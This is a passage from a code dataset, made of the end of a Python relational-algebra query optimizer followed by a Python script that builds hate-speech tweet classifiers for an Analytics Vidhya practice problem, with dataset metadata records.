list_of_relations_available.append(ra.relname)\n\n    # After visiting all inputs update the relational expression\n    # Variable to store the keys to delete form the map_relation_to_select\n    to_delete = []\n    for necessary_relations, conditions in map_relation_to_select.items():\n        if set(necessary_relations).issubset(set(list_of_relations_available)):\n            # Insert selection\n            ra = make_nested_selections(selection_input=ra, conditions=conditions)\n            # Remember the key to delete afterwards\n            to_delete.append(necessary_relations)\n\n    # Delete used selections from the dictionary\n    for key in to_delete:\n        map_relation_to_select.pop(key)\n\n    return ra, list_of_relations_available\n\n\ndef find_selection_for_each_relation(ra: RelExpr, dd: dict, rename_dict: dict) -> dict:\n    \"\"\"\n    Find for relation groups the corresponding selections\n    :param ra: relational expression\n    :param dd: relation schema\n    :param rename_dict: relations aliases.\n    :return: dictionary [(relation_a, relation_b): [cond_1, cond_2 ...]\n    \"\"\"\n    result = defaultdict(list)\n    # Initiate the queue\n    Q = queue.Queue()\n    Q.put_nowait(ra)\n\n    while not Q.empty():\n        current_element = Q.get_nowait()\n\n        if type(current_element) == Select:\n            # Get related relations to this selection\n            related_relations = get_related_relations(current_element.cond, dd, rename_dict)\n            result[related_relations].append(current_element.cond)\n\n        if len(current_element.inputs) > 0:\n            for elem in current_element.inputs:\n                Q.put_nowait(elem)\n\n    return result\n\n\ndef get_related_relations(ra: RelExpr, dd: dict, rename_dict: dict) -> tuple:\n    \"\"\"\n    Look for the related relations to the current selection\n    :param ra: condition expression\n    :param dd: relation schema\n    :param rename_dict: name and aliases of existing relations\n    :return: tuple of the relations related to this condition.\n    \"\"\"\n    # List to store intermediate relations\n    tmp_res = []\n    # Initiate the queue\n    Q = queue.Queue()\n    Q.put_nowait(ra)\n\n    while not Q.empty():\n        current_element = Q.get_nowait()\n\n        if type(current_element) == AttrRef:\n            if current_element.rel is not None:\n                tmp_res.append(current_element.rel)\n\n            else:\n                # Look for the relations that have the attribute and exists in the expression.\n                for key, value in dd.items():\n                    if current_element.name in value and key in rename_dict:\n                        tmp_res.append(rename_dict[key])\n\n        if len(current_element.inputs) > 0:\n            for elem in current_element.inputs:\n                Q.put_nowait(elem)\n\n    return tuple(tmp_res)\n\n\ndef find_rename(ra: RelExpr) -> dict:\n    \"\"\"\n    Create a dict mapping each table to its alias\n    :param ra: relational expression\n    :return:\n    \"\"\"\n    result = {}\n    # Initiate the queue\n    Q = queue.Queue()\n    Q.put_nowait(ra)\n\n    while not Q.empty():\n        current_element = Q.get_nowait()\n\n        if type(current_element) == Rename:\n            result[current_element.inputs[0].rel] = current_element.relname\n\n        elif type(current_element) == RelRef and current_element.rel not in result.keys():\n            result[current_element.rel] = current_element.rel\n\n        if len(current_element.inputs) > 0:\n            for elem in current_element.inputs:\n                Q.put_nowait(elem)\n\n    return result\n", "repo_name": "dhiaeddineTounekti/miniHive", "sub_path": "src/raopt.py", "file_name": "raopt.py", "file_ext": "py", "file_size_in_byte": 10894, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "radb.ast.RelExpr", "line_number": 11, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 21, "usage_type": "call"}, {"api_name": "radb.ast.Select", "line_number": 29, "usage_type": "name"}, {"api_name": "radb.ast.ValExprBinaryOp", "line_number": 30, "usage_type": "name"}, {"api_name": "radb.ast.Select", "line_number": 36, "usage_type": "call"}, {"api_name": "radb.ast.RelExpr", "line_number": 53, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 78, "usage_type": "name"}, {"api_name": "radb.ast.Select", "line_number": 94, "usage_type": "name"}, {"api_name": "radb.ast.Select", "line_number": 98, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 113, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 123, "usage_type": "call"}, {"api_name": "radb.ast.Select", "line_number": 129, "usage_type": "name"}, {"api_name": "radb.ast.Cross", "line_number": 130, "usage_type": "name"}, {"api_name": "radb.ast.Join", "line_number": 132, "usage_type": "call"}, {"api_name": "radb.ast.RelExpr", "line_number": 142, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 150, "usage_type": "call"}, {"api_name": "radb.parse.parse.one_statement_from_string", "line_number": 151, "usage_type": "call"}, {"api_name": "radb.parse.parse", "line_number": 151, "usage_type": "attribute"}, {"api_name": "radb.parse", "line_number": 151, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 154, "usage_type": "name"}, {"api_name": "radb.ast.RelRef", "line_number": 154, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 154, "usage_type": "name"}, {"api_name": "radb.ast.Select", "line_number": 166, "usage_type": "call"}, {"api_name": "radb.ast.Select", "line_number": 169, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 176, "usage_type": "name"}, {"api_name": "radb.ast.RelRef", "line_number": 176, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 176, "usage_type": "name"}, {"api_name": "radb.ast.ValExprBinaryOp", "line_number": 186, "usage_type": "call"}, {"api_name": "radb.RAParser.RAParser.AND", "line_number": 186, "usage_type": "attribute"}, {"api_name": "radb.RAParser.RAParser", "line_number": 186, "usage_type": "name"}, {"api_name": "radb.ast.Select", "line_number": 193, "usage_type": "call"}, {"api_name": "radb.ast.Select", "line_number": 176, "usage_type": "name"}, {"api_name": "radb.ast.RelRef", "line_number": 205, "usage_type": "name"}, {"api_name": "radb.ast.Rename", "line_number": 213, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 233, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 241, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 243, "usage_type": "call"}, {"api_name": "radb.ast.Select", "line_number": 249, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 261, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 272, "usage_type": "call"}, {"api_name": "radb.ast.AttrRef", "line_number": 278, "usage_type": "name"}, {"api_name": "radb.ast.RelExpr", "line_number": 295, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 303, "usage_type": "call"}, {"api_name": "radb.ast.Rename", "line_number": 309, "usage_type": "name"}, {"api_name": "radb.ast.RelRef", "line_number": 312, "usage_type": "name"}]}
{"seq_id": "1803695143", "text": "# Practice Problem : Twitter Sentiment Analysis by Analytics Vidhya \r\n\r\n#The objective of this task is to detect hate speech in tweets. Formally, given a training sample of tweets and labels, \r\n#where label ‘1’ denotes the tweet is racist/sexist and label ‘0’ denotes the tweet is not racist/sexist, your objective\r\n# is to predict the labels on the given test dataset.\r\n#Note: The evaluation metric from this practice problem is F1-Score.\r\n\r\n\r\n#Importing Libraries \r\nimport re #cleaning the text \r\nimport pandas as pd \r\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\nimport seaborn as sns\r\nimport string\r\nimport nltk\r\nimport warnings \r\n\r\n#NLTK is a leading platform for building Python programs to work with human language data \r\n\r\n#Importing dataset\r\ndataset = pd.read_csv('train.csv')\r\ntestdata = pd.read_csv('test.csv')\r\n\r\n#To see the first few rows of the train dataset\r\ndataset.head()\r\n\r\ndataset.info()\r\n\r\n#breakdown of how many tweets are ‘0’s and how many tweets are ‘1’s.\r\ndataset['label'].value_counts()\r\n\r\n#Initial data cleaning requirements that we can think of after looking at the top 5 records:\r\n#The Twitter handles are already masked as @user due to privacy concerns. So, these Twitter handles are hardly giving any information about the nature of the tweet.\r\n#We can also think of getting rid of the punctuations, numbers and even special characters since they wouldn’t help in differentiating different kinds of tweets.\r\n#Most of the smaller words do not add much value. For example, ‘pdx’, ‘his’, ‘all’. So, we will try to remove them as well from our data.\r\n#Once we have executed the above three steps, we can split every tweet into individual words or tokens which is an essential step in any NLP task.\r\n#In the 4th tweet, there is a word ‘love’. We might also have terms like loves, loving, lovable, etc. in the rest of the data. These terms are often used in the same\r\n#context. If we can reduce them to their root word, which is ‘love’, then we can reduce the total number of unique words in our data without losing a significant amount of information.\r\n\r\n\r\n#Tweets Preprocessing and Cleaning\r\n#The objective of this step is to clean noise those are less relevant to find the sentiment of tweets such as punctuation, \r\n#special characters, numbers, and terms which don’t carry much weightage in context to the text.\r\n\r\n#a user-defined function to remove unwanted text patterns from the tweets. \r\n# The function returns the same input string but without the given pattern\r\n\r\n#combine train and test set\r\ncombi = dataset.append(testdata, ignore_index=True)\r\n\r\n\r\n## importing regular expression library ## clean tweet text by removing links, special characters etc\r\ndef remove_pattern(input_txt, pattern):\r\n    r = re.findall(pattern, input_txt)\r\n    for i in r:\r\n        input_txt = re.sub(i, '', input_txt)\r\n        \r\n    return input_txt\r\n\r\n# remove twitter handles (@user)\r\ncombi['tweet'] = np.vectorize(remove_pattern)(combi['tweet'], \"@[\\w]*\")\r\n\r\n# remove special characters, numbers, punctuations\r\ncombi['tweet'] = combi['tweet'].str.replace(\"[^a-zA-Z#]\", \" \")\r\n\r\n       \r\n#Removing Short Words       \r\ncombi['tweet'] = combi['tweet'].apply(lambda x: ' '.join([w for w in x.split() if len(w)>3]))       \r\n\r\n#Tokenization is the act of breaking up a sequence of strings into pieces such as words, keywords, phrases, symbols and other elements called tokens. \r\n#Tokens can be individual words, phrases or even whole sentences. In the process of tokenization, some characters like punctuation marks are discarded\r\ntokenized_tweet = combi['tweet'].apply(lambda x: x.split())\r\n\r\n#Stemming is a rule-based process of stripping the suffixes (“ing”, “ly”, “es”, “s” etc) from a word. \r\n#For example, For example – “play”, “player”, “played”, “plays” and “playing” are the different variations of the word – “play”.\r\n\r\nfrom nltk.stem.porter import *\r\nstemmer = PorterStemmer()\r\n\r\ntokenized_tweet = tokenized_tweet.apply(lambda x: [stemmer.stem(i) for i in x]) # stemming\r\n\r\n#Now let’s stitch these tokens\r\nfor i in range(len(tokenized_tweet)):\r\n    tokenized_tweet[i] = ' '.join(tokenized_tweet[i])\r\n\r\ncombi['tweet'] = tokenized_tweet\r\n\r\n\r\n#---------------------------------------------------------------------------------------------------------------\r\n\r\n##Story Generation and Visualization from Tweets\r\n#A wordcloud is a visualization wherein the most frequent words appear in \r\n#large size and the less frequent words appear in smaller sizes.\r\n\r\nall_words = ' '.join([text for text in combi['tweet']])\r\nfrom wordcloud import WordCloud\r\nwordcloud = WordCloud(width=800, height=500, random_state=21, max_font_size=110).generate(all_words)\r\n\r\nplt.figure(figsize=(10, 7))\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\n\r\n#Words in non racist/sexist tweets\r\nnormal_words =' '.join([text for text in combi['tweet'][combi['label'] == 0]])\r\n\r\nwordcloud = WordCloud(width=800, height=500, random_state=21, max_font_size=110).generate(normal_words)\r\nplt.figure(figsize=(10, 7))\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\n\r\n#Racist/Sexist Tweets\r\nnegative_words = ' '.join([text for text in combi['tweet'][combi['label'] == 1]])\r\nwordcloud = WordCloud(width=800, height=500,random_state=21, max_font_size=110).generate(negative_words)\r\nplt.figure(figsize=(10, 7))\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\n\r\n#Understanding the impact of Hashtags on tweets sentiment\r\n#Hashtags in twitter are synonymous with the ongoing trends on twitter at any particular point in time.\r\n# function to collect hashtags\r\ndef hashtag_extract(x):\r\n    hashtags = []\r\n    # Loop over the words in the tweet\r\n    for i in x:\r\n        ht = re.findall(r\"#(\\w+)\", i)\r\n        hashtags.append(ht)\r\n\r\n    return hashtags\r\n\r\n# extracting hashtags from non racist/sexist tweets\r\nHT_regular = hashtag_extract(combi['tweet'][combi['label'] == 0])\r\n\r\n# extracting hashtags from racist/sexist tweets\r\nHT_negative = hashtag_extract(combi['tweet'][combi['label'] == 1])\r\n\r\n# unnesting list\r\nHT_regular = sum(HT_regular,[])\r\nHT_negative = sum(HT_negative,[])\r\n\r\n#Non-Racist/Sexist Tweets\r\n\r\na = nltk.FreqDist(HT_regular)\r\nd = pd.DataFrame({'Hashtag': list(a.keys()),\r\n                  'Count': list(a.values())})\r\n# selecting top 10 most frequent hashtags     \r\nd = d.nlargest(columns=\"Count\", n = 10) \r\nplt.figure(figsize=(13,7))\r\nax = sns.barplot(data=d, x= \"Hashtag\", y = \"Count\")\r\n\r\n#Racist/Sexist Tweets\r\n\r\nb = nltk.FreqDist(HT_negative)\r\ne = pd.DataFrame({'Hashtag': list(b.keys()), 'Count': list(b.values())})\r\n# selecting top 10 most frequent hashtags\r\ne = e.nlargest(columns=\"Count\", n = 10)   \r\nplt.figure(figsize=(13,7))\r\nax = sns.barplot(data=e, x= \"Hashtag\", y = \"Count\")\r\n\r\n#As expected, most of the terms are negative with a few neutral terms as well.\r\n#So,it’s not a bad idea to keep these hashtags in our data as they contain useful information.\r\n\r\n#-------------------------------------------------------------------------------------------------\r\n\r\n\r\n#Extracting Features from Cleaned Tweets\r\n\r\n#Bag-of-Words Features\r\n#Bag-of-Words features can be easily created using sklearn’s CountVectorizer function. \r\n#We will set the parameter max_features = 1000 to select only top 1000 terms ordered by term frequency across the corpus.\r\n\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nbow_vectorizer = CountVectorizer(max_df=0.90, min_df=2, max_features=1000, stop_words='english')\r\n# bag-of-words feature matrix\r\nbow = bow_vectorizer.fit_transform(combi['tweet'])\r\n\r\n#TF-IDF Features\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\ntfidf_vectorizer = TfidfVectorizer(max_df=0.90, min_df=2, max_features=1000, stop_words='english')\r\n# TF-IDF feature matrix\r\ntfidf = tfidf_vectorizer.fit_transform(combi['tweet'])\r\n\r\n\r\n\r\n\r\n#Building log model using Bag-of-Words features\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import f1_score\r\n\r\ntrain_bow = bow[:31962,:]\r\ntest_bow = bow[31962:,:]\r\n\r\n# splitting data into training and validation set\r\nxtrain_bow, xvalid_bow, ytrain, yvalid = train_test_split(train_bow, dataset['label'], random_state=42, test_size=0.3)\r\n\r\nlreg = LogisticRegression()\r\nlreg.fit(xtrain_bow, ytrain) # training the model\r\n\r\nprediction1 = lreg.predict_proba(xvalid_bow) # predicting on the validation set\r\nprediction_int1 = prediction1[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nprediction_int1 = prediction_int1.astype(np.int)\r\n\r\nf1_score(yvalid, prediction_int1) # calculating f1 score\r\n#f1 = 0.53078\r\n\r\n# Making the Confusion Matrix\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(yvalid, prediction_int1)\r\ncm\r\nprediction_test = lreg.predict_proba(test_bow) # predicting on the testset\r\nprediction_test = prediction_test[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nprediction_test = prediction_test.astype(np.int)\r\n\r\n#Export submission file\r\n\r\ntestdata['label'] = prediction_test\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('sub_log_bow.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n#Building log model using TF-IDF features\r\ntrain_tfidf = tfidf[:31962,:]\r\ntest_tfidf = tfidf[31962:,:]\r\n\r\nxtrain_tfidf = train_tfidf[ytrain.index]\r\nxvalid_tfidf = train_tfidf[yvalid.index]\r\n\r\nlreg.fit(xtrain_tfidf, ytrain)\r\n\r\nprediction2 = lreg.predict_proba(xvalid_tfidf)\r\nprediction_int2 = prediction2[:,1] >= 0.3\r\nprediction_int2 = prediction_int2.astype(np.int)\r\n\r\nf1_score(yvalid, prediction_int2)\r\n#f1 = 0.54465\r\nprediction_test = lreg.predict_proba(test_bow) # predicting on the testset\r\nprediction_test = prediction_test[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nprediction_test = prediction_test.astype(np.int)\r\n\r\n#Export submission file\r\n\r\ntestdata['label'] = prediction_test\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('sub_log_tfidf.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n# K-Nearest Neighbors (K-NN)\r\n#Building log model using Bag-of-Words features\r\n# Fitting K-NN to the Training set\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nknn = KNeighborsClassifier(n_neighbors = 5, metric = 'minkowski', p = 2)\r\nknn.fit(xtrain_bow, ytrain)\r\n# Predicting the Test set results\r\ny_pred = knn.predict_proba(xvalid_bow)\r\nprediction_int3 = y_pred[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nprediction_int3 = prediction_int3.astype(np.int)\r\nf1_score(yvalid, prediction_int3)\r\n#f1 = 0.43578\r\n#Building model using TF-IDF features\r\n\r\nknn.fit(xtrain_tfidf, ytrain)\r\ny_pred2 = knn.predict_proba(xvalid_tfidf)\r\nprediction_int4 = y_pred2[:,1] >= 0.3\r\nprediction_int4 = prediction_int4.astype(np.int)\r\n\r\nf1_score(yvalid, prediction_int4)\r\n#f1 = 0.45124\r\n\r\n\r\n\r\n# Naive Bayes\r\n## Error - A sparse matrix was passed, but dense data is required. \r\n##Use X.toarray() to convert to a dense numpy array.\r\n# Fitting Naive Bayes to the Training set\r\n'''from sklearn.naive_bayes import GaussianNB\r\nnb = GaussianNB()\r\nnb.fit(xtrain_bow, ytrain)\r\n# Predicting the Test set results\r\ny_pred3 = nb.predict_proba(xvalid_bow)\r\nprediction_int5 = y_pred3[:,1] >= 0.3\r\nprediction_int5 = y_pred3.astype(np.int)\r\nf1_score(yvalid, prediction_int5)\r\n\r\n\r\n#Building model using TF-IDF features\r\nnb.fit(xtrain_tfidf, ytrain)\r\ny_pred4 = nb.predict_proba(xvalid_tfidf)\r\nprediction_int6 = y_pred4[:,1] >= 0.3\r\nprediction_int6 = prediction_int6.astype(np.int)\r\n\r\nf1_score(yvalid, prediction_int6)\r\n'''\r\n\r\n# Fitting SVM to the Training set\r\nfrom sklearn.svm import SVC\r\nsvm = SVC()\r\nsvm.fit(xtrain_bow, ytrain)\r\n\r\n\r\n#Building model using TF-IDF features\r\nsvm.fit(xtrain_tfidf, ytrain)\r\n\r\n\r\n# Applying k-Fold Cross Validation\r\nfrom sklearn.model_selection import cross_val_score\r\naccuracies = cross_val_score(estimator = svm, X = xtrain_bow, y = ytrain, cv = 10)\r\naccuracies.mean()\r\naccuracies.std()\r\n\r\n# Applying Grid Search to find the best model and the best parameters from bag of words\r\nfrom sklearn.model_selection import GridSearchCV\r\nparameters = [{'C': [1, 10, 100, 1000], 'kernel': ['linear']},\r\n              {'C': [1, 10, 100, 1000], 'kernel': ['rbf'], 'gamma': [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]}]\r\ngrid_search = GridSearchCV(estimator = svm,\r\n                           param_grid = parameters,\r\n                           scoring = 'f1',\r\n                           cv = 10,\r\n                           n_jobs = -1)\r\ngrid_search = grid_search.fit(xtrain_bow, ytrain)\r\nbest_f1 = grid_search.best_score_\r\nbest_parameters = grid_search.best_params_\r\n#best f1 = 0.5953\r\n#best parameters = c = 10, gamma = 0.2, kernel = rbf \r\n#We will again do Grid Search with parametrs close to the above result \r\n# Applying Grid Search to find the best model and the best parameters\r\nfrom sklearn.model_selection import GridSearchCV\r\nparameters = [\r\n              {'C': [5, 10, 15, 20], 'kernel': ['rbf'], 'gamma': [0.15, 0.16, 0.17, 0.18, 0.19, 0.2, 0.21, 0.22, 0.23, 0.24, 0.25,]}]\r\ngrid_search = GridSearchCV(estimator = svm,\r\n                           param_grid = parameters,\r\n                           scoring = 'f1',\r\n                           cv = 10,\r\n                           n_jobs = -1)\r\ngrid_search = grid_search.fit(xtrain_bow, ytrain)\r\nbest_f1 = grid_search.best_score_\r\nbest_parameters = grid_search.best_params_\r\n#best f1 = 0.6013\r\n#best parameters = c = 10, gamma = 0.15, kernel = rbf \r\n\r\nfrom sklearn.model_selection import GridSearchCV\r\nparameters = [\r\n              {'C': [8, 9, 10, 11, 12], 'kernel': ['rbf'], 'gamma': [0.11, 0.12, 0.13, 0.14, 0.15, 0.16, 0.17, 0.18]}]\r\ngrid_search = GridSearchCV(estimator = svm,\r\n                           param_grid = parameters,\r\n                           scoring = 'f1',\r\n                           cv = 10,\r\n                           n_jobs = -1)\r\ngrid_search = grid_search.fit(xtrain_bow, ytrain)\r\nbest_f1 = grid_search.best_score_\r\nbest_parameters = grid_search.best_params_\r\n#best f1 = 0.6213\r\n#best parameters = c = 11, gamma = 0.14, kernel = rbf \r\n#We will go with this parameters \r\n\r\nsvm = SVC(kernel = 'rbf', random_state = 0, gamma = 0.14, C =11)\r\nsvm.fit(xtrain_bow, ytrain)\r\ny_pred5 = svm.predict(xvalid_bow)\r\nprediction_int7 = y_pred5.astype(np.int)\r\nf1_score(yvalid, prediction_int7)\r\n\r\n#prediction on test set\r\ntest_pred = svm.predict(test_bow)\r\ntest_pred_int = test_pred.astype(np.int)\r\ntestdata['label'] = test_pred_int\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('svmrbfbow.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n\r\n# Applying Grid Search to find the best model and the best parameters from tfidf\r\nfrom sklearn.model_selection import GridSearchCV\r\nparameters = [{'C': [1, 10, 100, 1000], 'kernel': ['linear']},\r\n              {'C': [1, 10, 100, 1000], 'kernel': ['rbf'], 'gamma': [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]}]\r\ngrid_search = GridSearchCV(estimator = svm,\r\n                           param_grid = parameters,\r\n                           scoring = 'f1',\r\n                           cv = 10,\r\n                           n_jobs = -1)\r\ngrid_search = grid_search.fit(xtrain_tfidf, ytrain)\r\nbest_f1 = grid_search.best_score_\r\nbest_parameters = grid_search.best_params_\r\n#best f1 = 0.6146\r\n#best parameters = c = 10, gamma = 0.5, kernel = rbf \r\n#We will again do Grid Search with parametrs close to the above result \r\n# Applying Grid Search to find the best model and the best parameters\r\nfrom sklearn.model_selection import GridSearchCV\r\nparameters = [\r\n              {'C': [5, 10, 15, 20], 'kernel': ['rbf'], 'gamma': [0.45, 0.46, 0.47, 0.48, 0.49, 0.5, 0.51, 0.52, 0.53, 0.54, 0.55,]}]\r\ngrid_search = GridSearchCV(estimator = svm,\r\n                           param_grid = parameters,\r\n                           scoring = 'f1',\r\n                           cv = 10,\r\n                           n_jobs = -1)\r\ngrid_search = grid_search.fit(xtrain_tfidf, ytrain)\r\nbest_f1 = grid_search.best_score_\r\nbest_parameters = grid_search.best_params_\r\n#best f1 = 0.6166\r\n#best parameters = c = 10, gamma = 0.51, kernel = rbf \r\n\r\nsvm = SVC(kernel = 'rbf', random_state = 0, gamma = 0.51, C =10)\r\n#Building model using TF-IDF features\r\nsvm.fit(xtrain_tfidf, ytrain)\r\ny_pred6 = svm.predict(xvalid_tfidf)\r\nprediction_int8 = y_pred6.astype(np.int)\r\nf1_score(yvalid, prediction_int8)\r\n\r\n#prediction on test set\r\ntest_pred = svm.predict(test_tfidf)\r\ntest_pred_int = test_pred.astype(np.int)\r\ntestdata['label'] = test_pred_int\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('svmrbftfidf.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n\r\n\r\n# Fitting Decision Tree Classification to the Training set\r\nfrom sklearn.tree import DecisionTreeClassifier\r\ntree = DecisionTreeClassifier(criterion = 'entropy', random_state = 0)\r\ntree.fit(xtrain_bow, ytrain)\r\ny_pred7 = tree.predict(xvalid_bow)\r\nprediction_int9 = y_pred7.astype(np.int)\r\nf1_score(yvalid, prediction_int9)\r\n#f1 linear = 0.50385\r\n\r\n\r\n#Building model using TF-IDF features\r\ntree.fit(xtrain_tfidf, ytrain)\r\ny_pred8 = svm.predict(xvalid_tfidf)\r\nprediction_int10 = y_pred8.astype(np.int)\r\nf1_score(yvalid, prediction_int10)\r\n#f1 linear = 0.3919\r\n\r\n\r\n\r\n\r\n#Building random forest model using Bag-of-Words features\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\nrf=RandomForestClassifier(n_estimators=1024,criterion='entropy',random_state=0)\r\nrf.fit(xtrain_bow, ytrain) # training the model\r\n\r\npredict_valid = rf.predict_proba(xvalid_bow) # predicting on the validation set\r\nvalid_predict_int = predict_valid[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nvalid_predict_int = valid_predict_int.astype(np.int)\r\nf1_score(yvalid,valid_predict_int) # calculating f1 score\r\n#f1 (n =64) = 0.5427\r\n\r\n\r\n#prediction on test set\r\ntest_pred = rf.predict_proba(test_bow)\r\ntest_pred_int = test_pred[:,1] >= 0.3\r\ntest_pred_int = test_pred_int.astype(np.int)\r\ntestdata['label'] = test_pred_int\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('rfbow64.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n#Building model using TF-IDF features\r\nrf=RandomForestClassifier(n_estimators=128,criterion='entropy',random_state=0)\r\nrf.fit(xtrain_tfidf, ytrain) # training the model\r\n\r\npredict_valid = rf.predict_proba(xvalid_tfidf) # predicting on the validation set\r\nvalid_predict_int = predict_valid[:,1] >= 0.3 # if prediction is greater than or equal to 0.3 than 1 else 0\r\nvalid_predict_int = valid_predict_int.astype(np.int)\r\nf1_score(yvalid,valid_predict_int) # calculating f1 score\r\n#f1 128 = 0.5777\r\n\r\n#prediction on test set\r\ntest_pred = rf.predict_proba(test_tfidf)\r\ntest_pred_int = test_pred[:,1] >= 0.3\r\ntest_pred_int = test_pred_int.astype(np.int)\r\ntestdata['label'] = test_pred_int\r\nsubmission = testdata[['id','label']]\r\nsubmission.to_csv('rf1024.csv', index=False) # writing data to a CSV file\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#Emoticons ##Use of emoticons is very prevalent throughout the web, more so on micro- blogging sites.\r\n\r\n# Repeating Characters\r\n#People often use repeating characters while using colloquial language, \r\n#like \"I’m in a hurrryyyyy\", \"We won, yaaayyyyy!\" As our final pre-processing step,\r\n# we replace characters repeating more than twice as two characters.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "sachink382/Twitter-Sentiment-Analysis---Analytics-Vidhya", "sub_path": "code.py", "file_name": "code.py", "file_ext": "py", "file_size_in_byte": 19311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 62, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 123, "usage_type": "call"}, {"api_name": "nltk.FreqDist", "line_number": 140, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 146, "usage_type": "call"}, {"api_name": "nltk.FreqDist", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 155, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 176, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 199, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 201, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 210, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 230, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 236, "usage_type": "attribute"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 254, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 255, "usage_type": "call"}, 